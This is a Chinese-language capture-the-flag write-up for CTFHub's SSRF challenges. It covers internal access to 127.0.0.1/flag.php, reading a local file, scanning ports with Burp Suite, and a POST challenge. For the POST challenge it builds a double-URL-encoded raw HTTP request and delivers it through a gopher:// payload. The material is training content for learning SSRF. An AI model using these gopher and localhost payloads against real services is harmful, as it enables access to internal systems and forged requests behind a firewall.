文章目录
- 前言
- 关卡、内网访问
- 关卡、伪协议读取文件
- 关卡、端口扫描
- 关卡、POST
- 1、使用http协议查看本地的flag.php文件
- 2、使用burp抓包,并发送到Repeater模块进行操作
- 3、构造一个简单的POST请求:
- 4、对构造的post请求进行url编码
- 第一次编码:
- 对第一次编码的换行符进行处理:
- 第二次编码:
- 5、把编码后的url拼接,然后发送
前言
靶场地址在:https://www.ctfhub.com/#/user/login
使用工具:
Burp Suite Professional抓包工具
关卡、内网访问
直接拼接:http://127.0.0.1/flag.php
通关
。
关卡、伪协议读取文件
输入window的正确地址:/var/www/html/flag.php
有东西,查看一下页面源码
通关
。
关卡、端口扫描
使用burp抓个包
然后对端口进行爆破扫描
扫出了8262端口有情况,登录看看
通关
。
关卡、POST
题目这里说了使用跟踪302跳转,这就要求使用gopher协议来解答,gopher可以理解为古早版本的http请求。
1、使用http协议查看本地的flag.php文件
查看页面源码:
发现这里有一个key=c6dd59e90eebad8e3b6bb36df8e12188。
2、使用burp抓包,并发送到Repeater模块进行操作
3、构造一个简单的POST请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=c6dd59e90eebad8e3b6bb36df8e12188
注意
:Content-Length如果存在并且有效地话,则必须和消息内容的传输长度完全一致。这里“key=c6dd59e90eebad8e3b6bb36df8e12188”的长度就是36。
4、对构造的post请求进行url编码
第一次编码:
POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3Dc6dd59e90eebad8e3b6bb36df8e12188
对第一次编码的换行符进行处理:
对换行的处理。如果你的POST请求编码出来的换行是%0A,就需要把%0A改成%0D%0A
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3Dc6dd59e90eebad8e3b6bb36df8e12188
第二次编码:
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dc6dd59e90eebad8e3b6bb36df8e12188
5、把编码后的url拼接,然后发送
注意:url在编码内容的前面有一个下划线,这个不能省略。
gopher://127.0.0.1:80/
_
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dc6dd59e90eebad8e3b6bb36df8e12188
通关
。